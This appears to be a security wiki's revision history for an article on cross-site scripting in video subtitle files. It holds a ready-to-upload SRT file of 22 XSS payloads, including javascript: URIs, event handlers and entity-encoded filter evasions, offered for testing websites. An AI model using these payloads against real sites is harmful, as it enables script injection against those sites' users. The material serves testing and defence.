Xss in subtitle - Revision history

2MzRp at 11:27, 21 November 2017

2017-11-21T11:27:57Z

2MzRp at 11:18, 21 November 2017

2017-11-21T11:18:36Z

2MzRp: Spelling

2017-11-15T20:35:57Z

Spelling

2MzRp: Created page with "==Description== It is possible for an attacker to execute JavaScript in a subtitle's videos. This is also referred to as XSS (Cross-Site Scripting).if a website load subtitle..."

2017-11-15T14:42:37Z

Created page with "==Description== It is possible for an attacker to execute JavaScript in a subtitle's videos. This is also referred to as XSS (Cross-Site Scripting).if a website load subtitle..."

New page

==Description==
It is possible for an attacker to execute JavaScript in a subtitle's videos. This is also referred to as XSS (Cross-Site Scripting).if a website load subtitle separately in browser then a attacker can run any html or javascript in video subtitle. It has been tested on some video services.

==Examples ==
the attacker can upload below subtitle with srt extension to test the website 

1 

00:00:37,618 --> 00:00:42,557 

<nowiki>: '';!--"<XSS>=&{()}</nowiki>

2 

00:00:58,425 --> 00:01:00,704 

<IMG SRC="javascript:alert('XSS');">

3 

00:01:00,705 --> 00:01:01,873 

<IMG SRC=javascript:alert('XSS')>

4 

00:01:02,225 --> 00:01:04,519 

<IMG SRC=javascript:alert('XSS')>

5 

00:01:04,520 --> 00:01:05,547 

<IMG SRC=javascript:alert('XSS')>

6 

00:01:05,864 --> 00:01:08,117 

<IMG SRC=javascript:alert('XSS')>

7 

00:01:08,224 --> 00:01:09,223 

<IMG """><SCRIPT>alert("XSS")</SCRIPT>">

8 

00:01:09,224 --> 00:01:10,434 

<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

9 

00:01:11,384 --> 00:01:12,427 

<IMG SRC=# onmouseover="alert('xxs')">

10 

00:01:15,504 --> 00:01:17,506 

<IMG SRC= onmouseover="alert('xxs')">

11 

00:01:19,743 --> 00:01:20,786 

<IMG onmouseover="alert('xxs')">

12 

00:01:24,183 --> 00:01:25,351 

<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>

13 

00:01:40,663 --> 00:01:41,705 

<img src=x onerror="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">

14 

00:01:42,703 --> 00:01:45,742 

<IMG SRC=javascript:alert(
'XSS')>

15 

00:01:45,743 --> 00:01:46,285 

<nowiki><IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&
#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041></nowiki>

16 

00:01:48,503 --> 00:01:49,545 

<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

17 

00:01:49,582 --> 00:01:51,709 

<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>

18 

00:01:54,822 --> 00:01:58,200 

<IMG SRC="jav	ascript:alert('XSS');">

19 

00:02:01,021 --> 00:02:03,691 

<IMG SRC="jav
ascript:alert('XSS');">

20 

00:02:04,702 --> 00:02:05,744 

<IMG SRC="javascript:alert('XSS');">

21 

00:02:15,700 --> 00:02:18,536 

<IMG SRC="javascript:alert('XSS')"

22 

00:02:18,740 --> 00:02:22,619 

\";alert('XSS');//

 

==Related Threats==

==Related Attacks==

[[XSS Attacks]]

==Related Vulnerabilities==

==Related Countermeasures==

==Categories==

{{Template:Stub}}

[[Category:Injection Attack]]

@@ Line 146: / Line 146: @@
 Mohammad MortazaviZade - 2mzrp2@gmail.com<br/>
-==Related Attacks==
+==Related [[Attacks]]==
-[[XSS Attacks]]
+==Related [[Vulnerabilities]]==
+* [[:Category:Input Validation Vulnerability]]
-==Related Vulnerabilities==
+* [[Cross Site Scripting Flaw]]
+* [[Types of Cross-Site Scripting]]
 ==Categories==
+[[Category:Injection]]
 {{Template:Stub}}

← Older revision		Revision as of 11:18, 21 November 2017
Line 143:		Line 143:
	<br>		<br>

		+	= Authors and Primary Editors =
		+
		+	Mohammad MortazaviZade - 2mzrp2@gmail.com<br/>
	==Related Threats==		==Related Threats==

@@ Line 1: / Line 1: @@
 ==Description==
-It is possible for an attacker to execute JavaScript in a subtitle's videos. This is also referred to as XSS (Cross-Site Scripting).if a website load subtitle separately in browser then a attacker can run any html or javascript in video subtitle. It has been tested on some video services.
+It is possible for an attacker to execute JavaScript in a video's subtitle. This is also referred to as XSS (Cross-Site Scripting).if a website load subtitle separately in browser then a attacker can run any html or javascript in video subtitle. It has been tested on some video services.
 ==Examples ==
-the attacker can upload below subtitle with srt extension to test the website<br><br>
+the attacker can save the mentioned contents below by the format of srt and upload prepared srt file as a video's subtitles<br><br>